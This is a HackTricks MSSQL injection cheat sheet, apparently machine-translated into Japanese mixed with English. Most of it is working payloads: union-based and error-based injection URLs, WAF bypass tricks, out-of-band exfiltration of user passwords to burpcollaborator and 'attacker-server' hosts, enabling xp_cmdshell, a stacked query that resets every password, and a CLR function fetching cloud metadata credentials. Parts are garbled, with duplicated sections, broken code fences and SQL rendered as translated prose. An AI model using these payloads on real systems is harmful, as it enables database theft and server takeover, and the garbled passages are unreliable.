MSSQL Injection

MSSQLインジェクション

htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

Active Directoryの列挙

次のMSSQL関数を使用して、MSSQLサーバー内でSQLインジェクションを介してドメインユーザーを列挙することが可能です:

  • SELECT DEFAULT_DOMAIN(): 現在のドメイン名を取得します。

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ドメイン名を知っている場合(この例では_DOMAIN_)、この関数は16進数形式でユーザーAdministratorのSIDを返します。これは0x01050000000[...]0000f401のように見えます。最後の4バイトが、ユーザーAdministratorの一般的なIDである500ビッグエンディアン形式であることに注意してください。 この関数を使用すると、ドメインのIDを知ることができます(最後の4バイト以外のすべてのバイト)。

  • SUSER_SNAME(0x01050000000[...]0000e803) : この関数は、指定されたIDのユーザー名を返します(存在する場合)。この場合、0000e803はビッグエンディアンで1000に等しい(通常、これは作成された最初の通常のユーザーIDです)。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

代替エラーベースのベクター

エラーベースのSQLインジェクションは通常、+AND+1=@@version--のような構造をしており、OR演算子に基づく変種もある。このような式を含むクエリは通常、WAFによってブロックされる。回避策として、%2b文字を使用して文字列を連結し、求めているデータでデータ型変換エラーを引き起こす特定の関数呼び出しの結果と組み合わせる。

このような関数の例:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

関数 USER_NAME() の使用例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

これらのSSRFトリックはこちらから取得されました。

fn_xe_file_target_read_file

サーバーで**VIEW SERVER STATE**権限が必要です。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

CONTROL SERVER 権限が必要です。

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

CONTROL SERVER 権限が必要です。

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtreeなどのストアドプロシージャは、Microsoftによって公式に文書化されていませんが、MSSQL内でのネットワーク操作においてその有用性が他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな投稿で示されているように、Out of Band Dataの情報漏洩によく使用されます。

たとえば、xp_dirtreeストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445にのみ制限されています。ポート番号は変更できませんが、ネットワーク共有から読み取りを許可します。以下のSQLスクリプトでその使用法が示されています:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

この方法は、デフォルト設定で実行されているWindows Server 2016 Datacenter上のMicrosoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)など、すべてのシステム構成で機能しない可能性があることに注意してください。

さらに、master..xp_fileexistxp_subdirsなどの代替ストアドプロシージャがあり、同様の結果を達成できます。xp_fileexistの詳細については、このTechNetの記事を参照してください。

xp_cmdshell

明らかに、xp_cmdshellを使用しても、SSRFをトリガーする何かを実行することができます。詳細については、ページ内の関連セクションを読んでください

MSSQLユーザー定義関数 - SQLHttp

MSSQL内でカスタム関数を実行するためにCLR UDF (Common Language Runtime User Defined Function)を作成するには、任意の.NET言語で記述され、DLLにコンパイルされたコードをMSSQL内でロードする必要があります。これにはdboアクセス権が必要です。つまり、通常はデータベース接続がsaとして行われるか、管理者ロールで行われる場合にのみ実現可能です。

Visual Studioプロジェクトとインストール手順は、このGithubリポジトリで提供されており、CLRアセンブリとしてMSSQLにバイナリをロードすることを容易にし、MSSQL内からHTTP GETリクエストを実行できるようにします。

この機能の中心は、http.csファイルにカプセル化されており、WebClientクラスを使用してGETリクエストを実行し、以下に示すようにコンテンツを取得します。

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することが推奨されます(select * from sys.trusted_assemblies;を使用して表示可能)。

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

成功してアセンブリを追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

クイックエクスプロイテーション: 1つのクエリでテーブル全体の内容を取得する

ここからのトリック

1つのクエリでテーブルの全内容を抽出する簡潔な方法は、FOR JSON句を利用することです。このアプローチは、"raw"のような特定のモードが必要なFOR XML句よりも簡潔です。FOR JSON句は簡潔さが求められるため好まれます。

現在のデータベースからスキーマ、テーブル、および列を取得する方法は次のとおりです:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```plaintext
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
MSSQLインジェクション攻撃の例です。この攻撃では、sys.dm_exec_requestsとsys.dm_exec_sql_textを使用してSQL文を取得します。

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:
## MSSQL Injection

### MSSQL Union-Based Injection

To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the URL parameter:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--


This payload will attempt to retrieve the version of the MSSQL database by injecting a UNION SELECT statement into the original SQL query.

Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

MSSQL Injection

MSSQL Union-Based Injection

The following URL is an example of a union-based SQL injection targeting a MSSQL database:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

MSSQL ユニオンベースのインジェクション

以下のURLは、MSSQLデータベースをターゲットにしたユニオンベースのSQLインジェクションの例です:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

MSSQL Injection

Union-Based SQL Injection

To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the vulnerable parameter:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

This payload will retrieve the version of the MSSQL database.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
```plaintext
[tempdb]を使用する
テーブル[test]を作成する ([id] int)
[test]に値(1)を挿入する
[test]から[id]を選択する
[test]を削除する

Can be reduced to:

```sql
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

無駄なexec()を追加し、WAFにこれが有効なクエリではないと思わせる

admina'union select 1,'admin','testtest123'exec('select 1')--

これは次のようになります:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

奇妙に構築されたクエリを使用する

admin'exec('update[users]set[password]=''a''')--

これは次のようになります:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

またはxp_cmdshellを有効にする

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

これは次のようになります:

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated